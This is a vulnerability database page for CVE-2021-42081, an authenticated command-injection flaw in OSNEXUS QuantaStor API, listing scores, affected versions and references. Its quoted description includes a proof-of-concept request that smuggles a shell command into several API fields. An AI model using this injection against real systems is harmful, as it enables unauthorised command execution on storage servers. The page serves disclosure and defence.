by Kastro
Paper/Archive/CVE-2021-42081

CVE-2021-42081

OSNEXUS QuantaStor — Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

EPSS 1%CVSS 9.1
critical.is priorityof 100
41
CVSS 9.1 (CNA)9.1 / 10 × 3027.3Not in CISA KEV+300.0EPSS percentile 69.0.690 × 2013.8No public exploit+100.0SSVC exploitation: none+100.0
Description · from the CVE record

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Affected

ProductAffectedFixed inSource
QuantaStor< 6.0.0.3556.0.0.355CNA

Scores by source

DIVD (CNA)9.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CISA ADPSSVCExploitation: none · Automatable: no · Technical impact: total

References

exploitwbsec.nl/osnexuswriteupcsirt.divd.nl/DIVD-2021-00020refosnexus.com/products/software-defined-storageexploitcsirt.divd.nl/CVE-2021-42081writeupdivd.nl/DIVD-2021-00020